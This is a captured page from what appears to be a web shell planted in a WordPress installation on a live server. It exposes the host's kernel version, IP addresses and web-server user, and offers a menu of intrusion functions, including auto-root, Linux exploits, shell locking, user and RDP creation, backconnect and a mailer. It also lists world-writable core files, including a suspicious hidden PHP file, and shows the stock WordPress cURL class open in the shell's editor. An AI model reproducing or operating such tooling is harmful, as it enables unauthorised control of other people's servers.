Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.217.10.152
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
ru-website /
wp-includes /
[ HOME SHELL ]
Name
Size
Permission
Action
ID3
[ DIR ]
drwxrwxrwx
IXR
[ DIR ]
drwxrwxrwx
PHPMailer
[ DIR ]
drwxrwxrwx
Requests
[ DIR ]
drwxrwxrwx
SimplePie
[ DIR ]
drwxrwxrwx
Text
[ DIR ]
drwxrwxrwx
assets
[ DIR ]
drwxrwxrwx
block-patterns
[ DIR ]
drwxrwxrwx
block-supports
[ DIR ]
drwxrwxrwx
blocks
[ DIR ]
drwxrwxrwx
certificates
[ DIR ]
drwxrwxrwx
css
[ DIR ]
drwxrwxrwx
customize
[ DIR ]
drwxrwxrwx
fonts
[ DIR ]
drwxrwxrwx
images
[ DIR ]
drwxrwxrwx
js
[ DIR ]
drwxrwxrwx
pomo
[ DIR ]
drwxrwxrwx
random_compat
[ DIR ]
drwxrwxrwx
rest-api
[ DIR ]
drwxrwxrwx
sitemaps
[ DIR ]
drwxrwxrwx
sodium_compat
[ DIR ]
drwxrwxrwx
theme-compat
[ DIR ]
drwxrwxrwx
widgets
[ DIR ]
drwxrwxrwx
.DS_Store
10
KB
-rwxrwxrwx
.wp-includes.php
3.61
KB
-rw-r--r--
admin-bar.php
31.6
KB
-rwxrwxrwx
atomlib.php
11.67
KB
-rwxrwxrwx
author-template.php
16.63
KB
-rwxrwxrwx
block-editor.php
16.6
KB
-rwxrwxrwx
block-patterns.php
2.6
KB
-rwxrwxrwx
block-template-utils.php
3.67
KB
-rwxrwxrwx
block-template.php
6.89
KB
-rwxrwxrwx
blocks.php
35.68
KB
-rwxrwxrwx
bookmark-template.php
12.42
KB
-rwxrwxrwx
bookmark.php
14.97
KB
-rwxrwxrwx
cache-compat.php
1.02
KB
-rwxrwxrwx
cache.php
9.29
KB
-rwxrwxrwx
canonical.php
32.31
KB
-rwxrwxrwx
capabilities.php
34.92
KB
-rwxrwxrwx
category-template.php
54.26
KB
-rwxrwxrwx
category.php
12.41
KB
-rwxrwxrwx
class-IXR.php
2.48
KB
-rwxrwxrwx
class-feed.php
529
B
-rwxrwxrwx
class-http.php
38.78
KB
-rwxrwxrwx
class-json.php
42.42
KB
-rwxrwxrwx
class-oembed.php
407
B
-rwxrwxrwx
class-phpass.php
6.54
KB
-rwxrwxrwx
class-phpmailer.php
664
B
-rwxrwxrwx
class-pop3.php
20.35
KB
-rwxrwxrwx
class-requests.php
29.72
KB
-rwxrwxrwx
class-simplepie.php
94.01
KB
-rwxrwxrwx
class-smtp.php
457
B
-rwxrwxrwx
class-snoopy.php
36.83
KB
-rwxrwxrwx
class-walker-category-dropdown...
2.08
KB
-rwxrwxrwx
class-walker-category.php
7.71
KB
-rwxrwxrwx
class-walker-comment.php
13.41
KB
-rwxrwxrwx
class-walker-nav-menu.php
8.44
KB
-rwxrwxrwx
class-walker-page-dropdown.php
2.25
KB
-rwxrwxrwx
class-walker-page.php
6.88
KB
-rwxrwxrwx
class-wp-admin-bar.php
16.59
KB
-rwxrwxrwx
class-wp-ajax-response.php
5.12
KB
-rwxrwxrwx
class-wp-application-passwords...
10.38
KB
-rwxrwxrwx
class-wp-block-editor-context....
890
B
-rwxrwxrwx
class-wp-block-list.php
4.37
KB
-rwxrwxrwx
class-wp-block-parser.php
14.86
KB
-rwxrwxrwx
class-wp-block-pattern-categor...
4.19
KB
-rwxrwxrwx
class-wp-block-patterns-regist...
4.43
KB
-rwxrwxrwx
class-wp-block-styles-registry...
4.6
KB
-rwxrwxrwx
class-wp-block-supports.php
5.15
KB
-rwxrwxrwx
class-wp-block-template.php
1.18
KB
-rwxrwxrwx
class-wp-block-type-registry.p...
4.53
KB
-rwxrwxrwx
class-wp-block-type.php
8.95
KB
-rwxrwxrwx
class-wp-block.php
6.61
KB
-rwxrwxrwx
class-wp-comment-query.php
44.42
KB
-rwxrwxrwx
class-wp-comment.php
9.1
KB
-rwxrwxrwx
class-wp-customize-control.php
25.07
KB
-rwxrwxrwx
class-wp-customize-manager.php
196.48
KB
-rwxrwxrwx
class-wp-customize-nav-menus.p...
55.44
KB
-rwxrwxrwx
class-wp-customize-panel.php
10.16
KB
-rwxrwxrwx
class-wp-customize-section.php
10.72
KB
-rwxrwxrwx
class-wp-customize-setting.php
29.07
KB
-rwxrwxrwx
class-wp-customize-widgets.php
69.52
KB
-rwxrwxrwx
class-wp-date-query.php
34.02
KB
-rwxrwxrwx
class-wp-dependency.php
2.45
KB
-rwxrwxrwx
class-wp-editor.php
69.54
KB
-rwxrwxrwx
class-wp-embed.php
15.58
KB
-rwxrwxrwx
class-wp-error.php
7.13
KB
-rwxrwxrwx
class-wp-fatal-error-handler.p...
7.4
KB
-rwxrwxrwx
class-wp-feed-cache-transient....
2.5
KB
-rwxrwxrwx
class-wp-feed-cache.php
970
B
-rwxrwxrwx
class-wp-hook.php
14.65
KB
-rwxrwxrwx
class-wp-http-cookie.php
7.02
KB
-rwxrwxrwx
class-wp-http-curl.php
12.06
KB
-rwxrwxrwx
class-wp-http-encoding.php
6.5
KB
-rwxrwxrwx
class-wp-http-ixr-client.php
3.39
KB
-rwxrwxrwx
class-wp-http-proxy.php
5.73
KB
-rwxrwxrwx
class-wp-http-requests-hooks.p...
1.93
KB
-rwxrwxrwx
class-wp-http-requests-respons...
4.24
KB
-rwxrwxrwx
class-wp-http-response.php
2.88
KB
-rwxrwxrwx
class-wp-http-streams.php
15.74
KB
-rwxrwxrwx
class-wp-image-editor-gd.php
15.15
KB
-rwxrwxrwx
class-wp-image-editor-imagick....
26.24
KB
-rwxrwxrwx
class-wp-image-editor.php
16.2
KB
-rwxrwxrwx
class-wp-list-util.php
6.79
KB
-rwxrwxrwx
class-wp-locale-switcher.php
4.9
KB
-rwxrwxrwx
class-wp-locale.php
13.65
KB
-rwxrwxrwx
class-wp-matchesmapregex.php
1.76
KB
-rwxrwxrwx
class-wp-meta-query.php
27.19
KB
-rwxrwxrwx
class-wp-metadata-lazyloader.p...
5.23
KB
-rwxrwxrwx
class-wp-network-query.php
18.72
KB
-rwxrwxrwx
class-wp-network.php
12.09
KB
-rwxrwxrwx
class-wp-object-cache.php
13.23
KB
-rwxrwxrwx
class-wp-oembed-controller.php
6.67
KB
-rwxrwxrwx
class-wp-oembed.php
29.61
KB
-rwxrwxrwx
class-wp-paused-extensions-sto...
4.81
KB
-rwxrwxrwx
class-wp-post-type.php
20.33
KB
-rwxrwxrwx
class-wp-post.php
6.27
KB
-rwxrwxrwx
class-wp-query.php
131.63
KB
-rwxrwxrwx
class-wp-recovery-mode-cookie-...
6.31
KB
-rwxrwxrwx
class-wp-recovery-mode-email-s...
10.41
KB
-rwxrwxrwx
class-wp-recovery-mode-key-ser...
4.17
KB
-rwxrwxrwx
class-wp-recovery-mode-link-se...
3.32
KB
-rwxrwxrwx
class-wp-recovery-mode.php
11.11
KB
-rwxrwxrwx
class-wp-rewrite.php
61.37
KB
-rwxrwxrwx
class-wp-role.php
2.44
KB
-rwxrwxrwx
class-wp-roles.php
8.23
KB
-rwxrwxrwx
class-wp-session-tokens.php
7.25
KB
-rwxrwxrwx
class-wp-simplepie-file.php
3.18
KB
-rwxrwxrwx
class-wp-simplepie-sanitize-ks...
1.73
KB
-rwxrwxrwx
class-wp-site-query.php
28.62
KB
-rwxrwxrwx
class-wp-site.php
7.25
KB
-rwxrwxrwx
class-wp-tax-query.php
18.81
KB
-rwxrwxrwx
class-wp-taxonomy.php
13.03
KB
-rwxrwxrwx
class-wp-term-query.php
36.39
KB
-rwxrwxrwx
class-wp-term.php
5.15
KB
-rwxrwxrwx
class-wp-text-diff-renderer-in...
716
B
-rwxrwxrwx
class-wp-text-diff-renderer-ta...
16.4
KB
-rwxrwxrwx
class-wp-theme-json-resolver.p...
11.2
KB
-rwxrwxrwx
class-wp-theme-json.php
32.95
KB
-rwxrwxrwx
class-wp-theme.php
50.11
KB
-rwxrwxrwx
class-wp-user-meta-session-tok...
2.92
KB
-rwxrwxrwx
class-wp-user-query.php
30.6
KB
-rwxrwxrwx
class-wp-user-request.php
2.14
KB
-rwxrwxrwx
class-wp-user.php
21.67
KB
-rwxrwxrwx
class-wp-walker.php
12.43
KB
-rwxrwxrwx
class-wp-widget-factory.php
3.24
KB
-rwxrwxrwx
class-wp-widget.php
17.73
KB
-rwxrwxrwx
class-wp-xmlrpc-server.php
207.93
KB
-rwxrwxrwx
class-wp.php
24.5
KB
-rwxrwxrwx
class.wp-dependencies.php
12.57
KB
-rwxrwxrwx
class.wp-scripts.php
18.49
KB
-rwxrwxrwx
class.wp-styles.php
10.62
KB
-rwxrwxrwx
comment-template.php
92.73
KB
-rwxrwxrwx
comment.php
122.81
KB
-rwxrwxrwx
compat.php
11.8
KB
-rwxrwxrwx
cron.php
39.69
KB
-rwxrwxrwx
date.php
406
B
-rwxrwxrwx
default-constants.php
10.02
KB
-rwxrwxrwx
default-filters.php
29.29
KB
-rwxrwxrwx
default-widgets.php
2.17
KB
-rwxrwxrwx
deprecated.php
121.9
KB
-rwxrwxrwx
embed-template.php
341
B
-rwxrwxrwx
embed.php
46.96
KB
-rwxrwxrwx
error-protection.php
4.02
KB
-rwxrwxrwx
feed-atom-comments.php
5.32
KB
-rwxrwxrwx
feed-atom.php
3.03
KB
-rwxrwxrwx
feed-rdf.php
2.61
KB
-rwxrwxrwx
feed-rss.php
1.16
KB
-rwxrwxrwx
feed-rss2-comments.php
3.97
KB
-rwxrwxrwx
feed-rss2.php
3.71
KB
-rwxrwxrwx
feed.php
22.43
KB
-rwxrwxrwx
formatting.php
318.97
KB
-rwxrwxrwx
functions.php
247.19
KB
-rwxrwxrwx
functions.wp-scripts.php
13.11
KB
-rwxrwxrwx
functions.wp-styles.php
8.11
KB
-rwxrwxrwx
general-template.php
154.5
KB
-rwxrwxrwx
http.php
21.86
KB
-rwxrwxrwx
https-detection.php
6.71
KB
-rwxrwxrwx
https-migration.php
4.62
KB
-rwxrwxrwx
kses.php
62.39
KB
-rwxrwxrwx
l10n.php
55.41
KB
-rwxrwxrwx
link-template.php
145.19
KB
-rwxrwxrwx
load.php
48.87
KB
-rwxrwxrwx
locale.php
162
B
-rwxrwxrwx
media-template.php
58.99
KB
-rwxrwxrwx
media.php
173.93
KB
-rwxrwxrwx
meta.php
58.72
KB
-rwxrwxrwx
ms-blogs.php
24.58
KB
-rwxrwxrwx
ms-default-constants.php
4.6
KB
-rwxrwxrwx
ms-default-filters.php
6.34
KB
-rwxrwxrwx
ms-deprecated.php
20.63
KB
-rwxrwxrwx
ms-files.php
2.58
KB
-rwxrwxrwx
ms-functions.php
91.7
KB
-rwxrwxrwx
ms-load.php
19.32
KB
-rwxrwxrwx
ms-network.php
3.58
KB
-rwxrwxrwx
ms-settings.php
4.03
KB
-rwxrwxrwx
ms-site.php
38.66
KB
-rwxrwxrwx
nav-menu-template.php
22.75
KB
-rwxrwxrwx
nav-menu.php
41.19
KB
-rwxrwxrwx
option.php
74.77
KB
-rwxrwxrwx
pluggable-deprecated.php
6.12
KB
-rwxrwxrwx
pluggable.php
101.48
KB
-rwxrwxrwx
plugin.php
32.34
KB
-rwxrwxrwx
post-formats.php
6.91
KB
-rwxrwxrwx
post-template.php
63.25
KB
-rwxrwxrwx
post-thumbnail-template.php
9.13
KB
-rwxrwxrwx
post.php
258.3
KB
-rwxrwxrwx
query.php
34.94
KB
-rwxrwxrwx
registration-functions.php
200
B
-rwxrwxrwx
registration.php
200
B
-rwxrwxrwx
rest-api.php
91.19
KB
-rwxrwxrwx
revision.php
22.01
KB
-rwxrwxrwx
rewrite.php
18.76
KB
-rwxrwxrwx
robots-template.php
5.05
KB
-rwxrwxrwx
rss-functions.php
255
B
-rwxrwxrwx
rss.php
22.44
KB
-rwxrwxrwx
script-loader.php
105.92
KB
-rwxrwxrwx
session.php
258
B
-rwxrwxrwx
shortcodes.php
20.93
KB
-rwxrwxrwx
sitemaps.php
3.16
KB
-rwxrwxrwx
spl-autoload-compat.php
441
B
-rwxrwxrwx
taxonomy.php
164.21
KB
-rwxrwxrwx
template-canvas.php
594
B
-rwxrwxrwx
template-loader.php
2.94
KB
-rwxrwxrwx
template.php
21.96
KB
-rwxrwxrwx
theme-i18n.json
634
B
-rwxrwxrwx
theme-templates.php
4.61
KB
-rwxrwxrwx
theme.json
5.2
KB
-rwxrwxrwx
theme.php
122.45
KB
-rwxrwxrwx
update.php
29.33
KB
-rwxrwxrwx
user.php
151.56
KB
-rwxrwxrwx
vars.php
5.68
KB
-rwxrwxrwx
version.php
766
B
-rwxrwxrwx
widgets.php
65.7
KB
-rwxrwxrwx
wlwmanifest.xml
1.02
KB
-rwxrwxrwx
wp-db.php
103.61
KB
-rwxrwxrwx
wp-diff.php
647
B
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wp-http-curl.php
<?php /** * HTTP API: WP_Http_Curl class * * @package WordPress * @subpackage HTTP * @since 4.4.0 */ /** * Core class used to integrate Curl as an HTTP transport. * * HTTP request method uses Curl extension to retrieve the url. * * Requires the Curl extension to be installed. * * @since 2.7.0 */ class WP_Http_Curl { /** * Temporary header storage for during requests. * * @since 3.2.0 * @var string */ private $headers = ''; /** * Temporary body storage for during requests. * * @since 3.6.0 * @var string */ private $body = ''; /** * The maximum amount of data to receive from the remote server. * * @since 3.6.0 * @var int|false */ private $max_body_length = false; /** * The file resource used for streaming to file. * * @since 3.6.0 * @var resource|false */ private $stream_handle = false; /** * The total bytes written in the current request. * * @since 4.1.0 * @var int */ private $bytes_written_total = 0; /** * Send a HTTP request to a URI using cURL extension. * * @since 2.7.0 * * @param string $url The request URL. * @param string|array $args Optional. Override the defaults. * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error */ public function request( $url, $args = array() ) { $defaults = array( 'method' => 'GET', 'timeout' => 5, 'redirection' => 5, 'httpversion' => '1.0', 'blocking' => true, 'headers' => array(), 'body' => null, 'cookies' => array(), ); $parsed_args = wp_parse_args( $args, $defaults ); if ( isset( $parsed_args['headers']['User-Agent'] ) ) { $parsed_args['user-agent'] = $parsed_args['headers']['User-Agent']; unset( $parsed_args['headers']['User-Agent'] ); } elseif ( isset( $parsed_args['headers']['user-agent'] ) ) { $parsed_args['user-agent'] = $parsed_args['headers']['user-agent']; unset( $parsed_args['headers']['user-agent'] ); } // Construct Cookie: header if any cookies are set. WP_Http::buildCookieHeader( $parsed_args ); $handle = curl_init(); // cURL offers really easy proxy support. $proxy = new WP_HTTP_Proxy(); if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) { curl_setopt( $handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP ); curl_setopt( $handle, CURLOPT_PROXY, $proxy->host() ); curl_setopt( $handle, CURLOPT_PROXYPORT, $proxy->port() ); if ( $proxy->use_authentication() ) { curl_setopt( $handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY ); curl_setopt( $handle, CURLOPT_PROXYUSERPWD, $proxy->authentication() ); } } $is_local = isset( $parsed_args['local'] ) && $parsed_args['local']; $ssl_verify = isset( $parsed_args['sslverify'] ) && $parsed_args['sslverify']; if ( $is_local ) { /** This filter is documented in wp-includes/class-wp-http-streams.php */ $ssl_verify = apply_filters( 'https_local_ssl_verify', $ssl_verify, $url ); } elseif ( ! $is_local ) { /** This filter is documented in wp-includes/class-http.php */ $ssl_verify = apply_filters( 'https_ssl_verify', $ssl_verify, $url ); } /* * CURLOPT_TIMEOUT and CURLOPT_CONNECTTIMEOUT expect integers. Have to use ceil since. * a value of 0 will allow an unlimited timeout. */ $timeout = (int) ceil( $parsed_args['timeout'] ); curl_setopt( $handle, CURLOPT_CONNECTTIMEOUT, $timeout ); curl_setopt( $handle, CURLOPT_TIMEOUT, $timeout ); curl_setopt( $handle, CURLOPT_URL, $url ); curl_setopt( $handle, CURLOPT_RETURNTRANSFER, true ); curl_setopt( $handle, CURLOPT_SSL_VERIFYHOST, ( true === $ssl_verify ) ? 2 : false ); curl_setopt( $handle, CURLOPT_SSL_VERIFYPEER, $ssl_verify ); if ( $ssl_verify ) { curl_setopt( $handle, CURLOPT_CAINFO, $parsed_args['sslcertificates'] ); } curl_setopt( $handle, CURLOPT_USERAGENT, $parsed_args['user-agent'] ); /* * The option doesn't work with safe mode or when open_basedir is set, and there's * a bug #17490 with redirected POST requests, so handle redirections outside Curl. */ curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, false ); curl_setopt( $handle, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS ); switch ( $parsed_args['method'] ) { case 'HEAD': curl_setopt( $handle, CURLOPT_NOBODY, true ); break; case 'POST': curl_setopt( $handle, CURLOPT_POST, true ); curl_setopt( $handle, CURLOPT_POSTFIELDS, $parsed_args['body'] ); break; case 'PUT': curl_setopt( $handle, CURLOPT_CUSTOMREQUEST, 'PUT' ); curl_setopt( $handle, CURLOPT_POSTFIELDS, $parsed_args['body'] ); break; default: curl_setopt( $handle, CURLOPT_CUSTOMREQUEST, $parsed_args['method'] ); if ( ! is_null( $parsed_args['body'] ) ) { curl_setopt( $handle, CURLOPT_POSTFIELDS, $parsed_args['body'] ); } break; } if ( true === $parsed_args['blocking'] ) { curl_setopt( $handle, CURLOPT_HEADERFUNCTION, array( $this, 'stream_headers' ) ); curl_setopt( $handle, CURLOPT_WRITEFUNCTION, array( $this, 'stream_body' ) ); } curl_setopt( $handle, CURLOPT_HEADER, false ); if ( isset( $parsed_args['limit_response_size'] ) ) { $this->max_body_length = (int) $parsed_args['limit_response_size']; } else { $this->max_body_length = false; } // If streaming to a file open a file handle, and setup our curl streaming handler. if ( $parsed_args['stream'] ) { if ( ! WP_DEBUG ) { $this->stream_handle = @fopen( $parsed_args['filename'], 'w+' ); } else { $this->stream_handle = fopen( $parsed_args['filename'], 'w+' ); } if ( ! $this->stream_handle ) { return new WP_Error( 'http_request_failed', sprintf( /* translators: 1: fopen(), 2: File name. */ __( 'Could not open handle for %1$s to %2$s.' ), 'fopen()', $parsed_args['filename'] ) ); } } else { $this->stream_handle = false; } if ( ! empty( $parsed_args['headers'] ) ) { // cURL expects full header strings in each element. $headers = array(); foreach ( $parsed_args['headers'] as $name => $value ) { $headers[] = "{$name}: $value"; } curl_setopt( $handle, CURLOPT_HTTPHEADER, $headers ); } if ( '1.0' === $parsed_args['httpversion'] ) { curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0 ); } else { curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1 ); } /** * Fires before the cURL request is executed. * * Cookies are not currently handled by the HTTP API. This action allows * plugins to handle cookies themselves. * * @since 2.8.0 * * @param resource $handle The cURL handle returned by curl_init() (passed by reference). * @param array $parsed_args The HTTP request arguments. * @param string $url The request URL. */ do_action_ref_array( 'http_api_curl', array( &$handle, $parsed_args, $url ) ); // We don't need to return the body, so don't. Just execute request and return. if ( ! $parsed_args['blocking'] ) { curl_exec( $handle ); $curl_error = curl_error( $handle ); if ( $curl_error ) { curl_close( $handle ); return new WP_Error( 'http_request_failed', $curl_error ); } if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array( 301, 302 ), true ) ) { curl_close( $handle ); return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) ); } curl_close( $handle ); return array( 'headers' => array(), 'body' => '', 'response' => array( 'code' => false, 'message' => false, ), 'cookies' => array(), ); } curl_exec( $handle ); $theHeaders = WP_Http::processHeaders( $this->headers, $url ); $theBody = $this->body; $bytes_written_total = $this->bytes_written_total; $this->headers = ''; $this->body = ''; $this->bytes_written_total = 0; $curl_error = curl_errno( $handle ); // If an error occurred, or, no response. if ( $curl_error || ( 0 == strlen( $theBody ) && empty( $theHeaders['headers'] ) ) ) { if ( CURLE_WRITE_ERROR /* 23 */ == $curl_error ) { if ( ! $this->max_body_length || $this->max_body_length != $bytes_written_total ) { if ( $parsed_args['stream'] ) { curl_close( $handle ); fclose( $this->stream_handle ); return new WP_Error( 'http_request_failed', __( 'Failed to write request to temporary file.' ) ); } else { curl_close( $handle ); return new WP_Error( 'http_request_failed', curl_error( $handle ) ); } } } else { $curl_error = curl_error( $handle ); if ( $curl_error ) { curl_close( $handle ); return new WP_Error( 'http_request_failed', $curl_error ); } } if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array( 301, 302 ), true ) ) { curl_close( $handle ); return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) ); } } curl_close( $handle ); if ( $parsed_args['stream'] ) { fclose( $this->stream_handle ); } $response = array( 'headers' => $theHeaders['headers'], 'body' => null, 'response' => $theHeaders['response'], 'cookies' => $theHeaders['cookies'], 'filename' => $parsed_args['filename'], ); // Handle redirects. $redirect_response = WP_HTTP::handle_redirects( $url, $parsed_args, $response ); if ( false !== $redirect_response ) { return $redirect_response; } if ( true === $parsed_args['decompress'] && true === WP_Http_Encoding::should_decode( $theHeaders['headers'] ) ) { $theBody = WP_Http_Encoding::decompress( $theBody ); } $response['body'] = $theBody; return $response; } /** * Grabs the headers of the cURL request. * * Each header is sent individually to this callback, so we append to the `$header` property * for temporary storage * * @since 3.2.0 * * @param resource $handle cURL handle. * @param string $headers cURL request headers. * @return int Length of the request headers. */ private function stream_headers( $handle, $headers ) { $this->headers .= $headers; return strlen( $headers ); } /** * Grabs the body of the cURL request. * * The contents of the document are passed in chunks, so we append to the `$body` * property for temporary storage. Returning a length shorter than the length of * `$data` passed in will cause cURL to abort the request with `CURLE_WRITE_ERROR`. * * @since 3.6.0 * * @param resource $handle cURL handle. * @param string $data cURL request body. * @return int Total bytes of data written. */ private function stream_body( $handle, $data ) { $data_length = strlen( $data ); if ( $this->max_body_length && ( $this->bytes_written_total + $data_length ) > $this->max_body_length ) { $data_length = ( $this->max_body_length - $this->bytes_written_total ); $data = substr( $data, 0, $data_length ); } if ( $this->stream_handle ) { $bytes_written = fwrite( $this->stream_handle, $data ); } else { $this->body .= $data; $bytes_written = $data_length; } $this->bytes_written_total += $bytes_written; // Upon event of this function returning less than strlen( $data ) curl will error with CURLE_WRITE_ERROR. return $bytes_written; } /** * Determines whether this class can be used for retrieving a URL. * * @since 2.7.0 * * @param array $args Optional. Array of request arguments. Default empty array. * @return bool False means this class can not be used, true means it can. */ public static function test( $args = array() ) { if ( ! function_exists( 'curl_init' ) || ! function_exists( 'curl_exec' ) ) { return false; } $is_ssl = isset( $args['ssl'] ) && $args['ssl']; if ( $is_ssl ) { $curl_version = curl_version(); // Check whether this cURL version support SSL requests. if ( ! ( CURL_VERSION_SSL & $curl_version['features'] ) ) { return false; } } /** * Filters whether cURL can be used as a transport for retrieving a URL. * * @since 2.7.0 * * @param bool $use_class Whether the class can be used. Default true. * @param array $args An array of request arguments. */ return apply_filters( 'use_curl_transport', true, $args ); } }
Close